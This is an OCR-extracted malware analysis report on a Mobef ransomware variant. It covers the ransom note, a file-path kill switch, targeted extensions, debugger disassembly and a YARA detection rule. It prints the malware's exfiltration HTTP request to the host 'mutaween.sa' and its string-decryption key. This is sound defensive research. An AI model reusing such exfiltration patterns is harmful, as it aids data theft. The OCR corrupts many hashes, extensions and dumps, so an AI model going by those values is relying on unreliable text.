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Introduction

A new ransomware is targeting netizens and enterprises, in particular Italian
users. Like a classic ransomware, it encrypts all user files without change the
file extension and creates some documents containing the instructions to pay
the ransom. Moreover, it launches a popup window that shows the ransom
note.

APPID:286430
COMPUTER:ADMIN-PC
LOGIN:admin
Loy
salam. haha sorry i kript ur filez. they safe, so no needs wOrring. but u cant break my 133t cipher. if u wanna back filez
email me quick 0k? you pay me bitcoins...
maktoob786{@takfirzd.net

byezzzzz

CAWindows\286490.10g

Figure 1 - Ransom note

Through threat intelligence and the analysis of the common aspects with
other ransomware, we found that the malware seems to be a new variant of
the Mobef ransomware, a malicious code that spread in Italy in 2016.

The peculiarity of this new malware version is that the is written using a joking
style, as evidenced from the using of the “z” character at the end of many
words. However, it’s interesting to highlight the presence of many words

belonging to the Arabic world, such as “salam”, “bismillah”, “mutaween”,
which suggest the malware author is Arabic.

The attack vector of the New Mobef ransomware is still not clear; probably,
the sample arrives to the victim machine through the classic methods, such
as phishing mail or attackers compromise systems conducting RDP brute
force hacking.
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Sample information

File Name:
“aa2c9c02def2815aa24f5616051aa37e4ce002e62f507b3celb5aacl191a36el16
2.exe”

MD5 a0bd9681d80a7067b4b18dc36566f491
SHA-1 a3a169ceb4142923334d7ce5¢3690740el13ab0ed
SHA-256 aa2c9c02def2815aa24f5616051aa37e4ce002e62f507b3cel5aacl191a36e162
File Size 20.0 KB
Icon ' |
Sections
Name Virtual Virtual Raw size Entropy MD5
address size
text 4096 19820 19968 6.61 7447c912168al1e80643cd6cba8cc7d09

Looking the malware

This ransomware, like the others, encrypts the user’s files and asks for a
ransom. Through our analysis, we notice that the malware was written in
Delphi 4 Language and the Import Address Table is empty. Moreover, we did
not find any relevant string using the classic tools for string retrieving.

These details make the malware not as trivial as seems because it uses
some technique to avoid and obfuscate the analysis. In fact, the function
library names used by the malware are ciphered through a custom algorithm
and the functions are linked using the “Runtime Linking” technique.

Using a debugger, we found the key used to cipher the file with a proprietary
algorithm, the function names and other important strings:

Figure 2 - Key used to encrypt strings and function names
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After decrypting the strings, the malware starts with its actual malicious
behavior. It scans the entire filesystem for some user-space files, in
particular, it encrypts those that have one of the extensions showed in Figure
3. When the malware finds a new file to encrypt, it adds the path of this file in
the “C:\Windows\286490.1og” file.

.lic .nba .nbd .nbf .myob .lzh .dgb .war .der .flk

.a .bco .wbcat .uct .ecsv .wim .pst .psw .001 .be7

.rpt .ibz .tex .1 .win .pass .old .vbk .fbk .kZp

.fbw .eoc .rim .vib .cab .dbf .pbd .hid2 .backup

.nyf .abk .wps .dotm .tib .vbs .sxw .acZ .nsg

.psd .tgz .arj .mdbackup .p7e .fkc .apj .nsh

.gfx .kdbx .dmp .xlt .wab .sglitedb .arc .db .xlk

.txz (flkw .ai .sxi .tbz .mrbak .acedr .dot .r01 .sdf

.pl2 .seq .spf .db0 .v2i .dbx .xlc .fbf .tc .pkpass .flwa

.odt .zdb .s3db .edb .fdb .rsa .accdt .bc9% .tst .tlg

.05t .bak3 .snx .gbbpbf .ifx .gxk .regpwm .flkb .des

pps .lzma .db3 .tl3 _sdfx .prproj .mTm .myox .qgif .xlsm

.cdxxlm .eml .vhdx .nwbak .myi .sglite .3dba .ptdb .gbmd

.bkf _hbk .dwfx .pas .gba .stw .3ds .bz2 .npf .pgp .p7b .aep .bce
.cfe .gdb .xar .xpp .adb .mpp .pdf .blb .pptm .4db .pTmsxmsg
bkp .sxd .gvm .bc8 .xlsx .ate .gpt .txt .oxps .gbpksd .pfd .nxl
.accdb .tar .mdf .xz .mpdodp .aes .sko .kpdx .tl2 .pab .tpz .myo
.nwbh .dem .dwg .cf9 .wbb .flk .dbpf .cf8 .afi .1df .xackup .gho
.max .mmw .xlam .a00 .sdc .bakzxsgb .gz .4dd .dxf .blendl .wallet
.mddata .ks .vhd .73b .sxc .sie .pvhd .enzgbw .taz .itdb .gbxdat
.thz2 .back .ddd .emlx .p7c .nvZodf .iif .rar .isobackupdb

.say .ibdnco .xlw .dbs .hidpdb .msg .idx .blend2 .axx .ofx
.ghsal .gbmb .docx .gpdgtax .s¥pce .dmg .xbrl .ova .pem .nxZrdb
.img .dwk .ppjcrp .dxi .sgl .secpart .xls .xlr .zipx .bkz .acu
.xltm .ab4 .stx .raw .nsf .bpw .bzipZz .xltx .crt .ccf .dotx .myd
.bef .cdr .tsr .vmdktsd .nsd .fex .xlsbcer .sxg .gbm .ndabdb

.7z .gby .sefoab .docm .accde .modx .potx .sgliteomf .bkc

.kdb .snlbl .beck .tz .dgn .vix .vdf .iv2i .klendrel .dbk .odg
.ffddrc .adi .vmx .pptrfp .odc .ods .psafe3 .key .sdb

.potbak2 .ibank .tbl .mrimg .z0l .tbk .alkakf .data .gbk .bkb
.btd .bac .gzip .saj .potm .vrb .bakrtf .ccd .pfx .wvdilha .cas .hfs
.ppsxtrn .nef .xlsk .odb .asc .bkup .doc .xml .vbm .wpd .pptx .7zip
.gbr .odm .vikwdb .gbo .z .gdf

Figure 3 - List of the extensions of the file encrypted by the ransomware.

During its execution, the ransomware creates three files:

e READ.4YOU: it contains the ransom note as shown in the popup
window; it is stored in each folder in which there are encrypted files.

e Bismillah.KEI: it contains the personal key used to identify the victim; it
is stored in each folder in which there are encrypted files.

e 286490.log: it contains the list of the encrypted files and it is stored in
“C:\Windows”.
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encrypt. The file “286490.10g”, instead is stored once only in “C:\Windows\”

The first two files are created in every dyrectory where it finds some files to
path.
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New Mobef malware, as evidenced in the following screen extracted from the

So, we can say that the file “C:\Windows\286490.log” is a kill-switch for the
debugger:

file “C:\Windows\286490.log” and then launched the ransomware: magically,

note and they are the same for every infection. So, we created manually the
the malware stopped itself!

We notice that the name of the log file is equal to the field ID in the ransom

Figure 4 - Content of the 286490.log file

The kill-switch
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T WY Lun,uRURD 1IN Bo. LA $11 enpty .1
[NENEERA| - FFDOD CALL EAX kernel32.SetFilefittributesH ST2 enpty 0.0
0040437D(|> €9 LEAYE ST3 enpty 0.0
0040437E(L- €3 RETH $T4 enpty 0.0
0040437F B9 DB B9 ST5 enpty 0.0
00404380 2E DB 2E CHAR °.° $T6 enpty 0.0
00404381 ] DB 00 ST7 enpty 0.0
00404382 111} DB 00 . 32170 ESPUOBZDI
Do404383| 00 0B 00 FST 0000 Cond 0000 Err 00000000 (6T
00404384 8D DB 8D ~ |FCH 027F Prec HEAR,53 Hask 111111
EAX=7560D4DF (kernel32.SetFilefittributesH) » |Last cnnd 0000:00000000
XHHO 00000000 00000000 00000000 000DDO0D
XHH1 00000000 000DOOOD O0DOOOD0 0ODOOOOD
~ |%HH2 00000000 00000000 OO0OODOD 0O0OOOOO
Address [ASCIT dunp - [TECEETY F0087A0F8| °3c lllane = *C:\Hindous\286490. log"
O0ASFEIC| AKO >c 6123 0°E T Blou 0018FF6C || 00000080 | ¢ fttributes = FILE_ATTRIBUTE_HORHAL
O018FFOC | 02-ASgu 52- O018FF70 | 0087ADF8| ®sc |UKICODE “"C:\Mindous\286490.1og"
OD18FFBC|5 T Ichd,< G 1 'dou OD18FF?4) 00000000
O0ASFEDC |KE 62~ e 2" 0018FF78| | 0018FF88|& 1
O0A8FFEC 0018FF7C |LOD404BBS |AKe |RETURN from aa2c9ch2def2815aa24f5616051aa37.0040431
D048FFS0 | 00000000
O018FF84|| 00873E20| >¢
D018FF88 || D018FF94|5 ©
0018FF8C|L755F338A [23_u|RETURN to kernel32.BaseThreadInit Thunk+12
O048FF90 | 7EFDEDOD| 62°
O018FF94 [ﬂﬂisFFD4 Et
0048FF98 |L77BD9A02 | Bicu |RETURH to ntd11.77BDIA02
0018FFOC r?EFDEﬂBU §2°
0048FFAD || 77981585 | ASiiu

Figure 5 - Kill switch

A curious anomaly

Unlike a classic ransomware, after the encryption phase, the New Mobef
malware tries to contact an external server “mutaween.sa”, to communicate a
series of exfiltered information. They include the ID shown in the ransom
note, the name of the machine and other unknown info. In the following figure
we can see the HTTP request sent by the malware:

GET /fukkha.php?a=286498:ADMIN-PC:1:8:6.1:8 HTTP/1.1

Host: mutaween.sa

Accept: text/css,*/%;q=8.1

User-Agent: Mozilla/5.8 (Windows NT 18.8; WinG4; x64) Edge/13.18586
Accept-Language: en-U5,en;q=8.5

Referer: http://mutaween.sa/

Connection: keep-aliwve

Figure 6 - HTTP request

Strangely, the domain “mutaween.sa” doesn’t exist, it isn’'t resolved by the
DNS servers. This fact suggests the malware author would introduce other
features in the future after registering the domain.
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Dissecting the malware

A deep analysis of the Mobef ransomware revealed that it implements a
number of functionalities, such as the capability to encrypt files, not only on
the local drive but also on removable drives and network shares.

The following screen shows the code used to check the logical disk’s type,
before to start with the encryption phase:

call sub_4B3CAG
lea eax, [eax]
add eax, offset word_4@i13DE
sub eax, offset dword_k@1372
moy eax, [eax]
call eax ; getbriveType
jnp short loc_40826E0
¢ I
B B
loc_4825R9: loc_L4826E@:
push esi chp [ebp+var_8], @
call sub_LA3CAG jnz short loc_L@26CH
lea eax, [eax] ™
add eax, offset word_4@13D6
sub eax, offset dword_bk@1372
moy eax, [eax]
call eax
chp eax, 4 ; if DriveRenote
jnz short loc_LA25F2
h i h i
[ b = B
loc_4B25F2: ; if DriveFixed loc_4B26G1:
chp eax, 3 moy ecx, [ebpevar_#]
jnz short loc_&B2659 dec [
™ push dword ptr [edi+ecx=4]
call sub_LBICAG
lea eax, [eax]
add eax, offset word_LB139F
sub eax, offset dword_L@1372
mouy eax, [eax]
call Bax
dec [ebpeuar 8]
h | h i
Ll b bl e BT
X0V eax, eax
push esi loc_LB2659: ; if DriveRemovable
call sub_L4@sG28 chp eax, 7
or eax, eax jnz short loc_4@82689
jz short loc_48262E

186G ANAATEGO. snkh AAIG20-TA~ AATECO

Figure 7 - Code used to check the type of the drives

Furthermore, in order to make the analysis more difficult, the encryption
phase is done in a specific thread which is invisible to the debugger. The
main thread, before to show the ransom note, waits the encryption thread
using “WaitForMultipleObjects” API call, as shown in the figure:
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00402660
00402660
D040266E
00402670
00402672
00402677
00402679
0040267E
004026383
004026385
00402687
00402689
00402638
00402630
0040268F
00402692
00402695
00402698
(0402698

|004026A0!

D04026A2
0040264
D04026A7
D04026AR
D04026AF
0402681
00402686
004026BE

004026BF
on4026C1
on4026C4
004026C5
004026C8
004026C0
004026CF
00402604
00402609

00402680 8

<

<

S

<

56

51

6A 00

6A 00

E8 2F160000
£0on

05 DA134000
2D 72134000
880D

FFDD

EB 02

3300

DBCO

M09

8B4D F8
89048F
FF45 F8
83C6 08

E9 FAFEFFFF

FF?5 F8

E8 FH50000
8000

05 DE134000
2D 72134000
880D

FFDO

EB 1F

8B40 F3

19

FF348F

E8 09150000
8000

05 9E134000
20 72134000
8800

PUSH ESI

PUSH ECX

PUSH 0

PUSH 0

CALL DO4D3CAG

LER EAX, [EAX]

ADD EAX,D04013DA

SUB ERX,D0401372

HOY EAX,DHORD PTR DS:[EAX]
CALL EAX

JHP SHORT DD40268B

KOR ERX,ERX

OR EAX,ERY

JZ SHORT 00402698

HOY ECX,DHORD PTR §5:[LOCAL.2]
HOY DHORD PTR DS:[ECK+4+EDI],EAX
IHC DHORD PTR S5=I[LOCAL.21
ADD ESI,8

LJHP 00402594

PUSH -1

PUSH 1

PUSH DHORD PTR S5=[LOCAL.11
PUSH DHORD PTR S5=[LOCAL.21
CALL DO4D3CAG

LER EAX,[EAX]

ADD EAX,D04013DE

SUB ERX,D0401372

HOV EAX,DHORD PTR DS:[EAX]
CALL EAX

JHP SHORT D04026ED

HOV ECX,DHORD PTR 55:[LOCAL.21
DEC ECK

PUSH DHORD PTR DS: [ECK*4+EDI]
CALL DO403CAG

LER EAX, [EAK]

ADD EAX,D040139E

SUB EAX,D0401372

HOV EAX,DHORD PTR DS:[EAX]

kernel32_HaitForHultipleDbjects

Registers (FPI

'EAN-768E41E8 (kernel32.NaitFortult ipleObjects)

ERX
ECX
EDX
EBX
ESP
EBP
ESI
EDI

m
=t
CooooomEsE W

L T

m
fas]
=

STD
M
§T2
§T3
ST4
ST

$T6 enpty 0.

768E41ES
83668310
DODSEICE
ooooooon
DD18FF4C
DD18FF76
DOSE24BE
DOSE23ED
00402680
ES 002B
C5 0023
55 0028
D5 0028
F5 0053
65 0028

LastErr
ooooo202

enpty

S$T? enpty 0.0

FST 0000 Cond 0D DD Err
FCH 022F Prec HEAR,53 Hask
Last cond O000: 00000000

KHHD DOD0DODOD 00000000 ODODODOOD DOOODODO
KHH1 D00DODOD 000ODDO0 ODODDOOD DOODOODO
KHH2 D00DODOD 00000000 ODOODOOD DOODOODO
KHH3 D00DODOD 00000000 ODODDOOD DOODOODO
KHH4 D00DODOD 000ODDO0 ODODODOOD DOODOODO
RHHS D00DODOD 000ODDO0 ODOODDOOD DOODOODO

ketnel32_HaitForHult iplaObjects [

ransonuare. 00402680

32bit DIFFFFFFFF)
32bit DIFFFFFFFF)
32bit DIFFFFFFFF)
32bit DIFFFFFFFF)
32bit ZEFDDDODCFFF)
32bit DIFFFFFFFF)

00000000 ERROR_SUCCESS
(HO,HB,HE, A, NS, PO, BE,6)

3210 ESPUDZDI
poooomooD(
111111

KHHG DODODODOD 000DDDOD ODODDOOD DDODDODD
KHH? DD0DODOD 00000000 ODODDOOD DDODDODD

ASCIT

DDSE24A8 |43 00 3A 00|5C 00 00 00 44 00 3AI00|5C 00 00 OO(C = \
O0SE24B8 |00 0D 00 00|00 00 00 00|00 00 OO0 00 00 00 OO0 OO
O0SE24CE |00 OD 00 00|00 00 OO 00|00 00 00 00 00 00 OO0 OO
MNSF>4NS (A0 00 00 anian an on aninn an an aninn an on on

v

= PUDZDI
PN 0018FFAC IR Count = 1
O0SE23ED | 0% || HandleList = DOSE23ED -> OOODOOBA
oopooooi |8 HaitAll = TRUE
FFFFFFFF Tineout = HAIT_FORENER
O018FF5C || DODDOOOD

Figure 8 - The main thread waits the finish of the encryption phase using WaitForMultipleObjects function
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YARA rule

import "pe"
rule Mobef Febl8 {
meta:

description = "Yara rule for Mobef_ Febl8 ransomware variant"

author = "CSE CybSec Enterprise - Z-Lab"
last_updated = "2018-02-28"

tlp = "white"
category = "informational”
strings:

// Key used by the malware for decrypt the strings
$key = "r$BNiOlqDQ8FkYgckIaBNlazluB3c4AWlWy"

// Two particular pieces of code used by the ransomware
$al = { 83 C1 FF 72 ©7 8D F1 C8 76 CE AE 67 41 }
$a2 = { B9 05 00 00 00 8D ©5 AA 42 40 00 83 Cl FF 72 @5 9F
condition:
all of them and
pe.number_of_sections == 1
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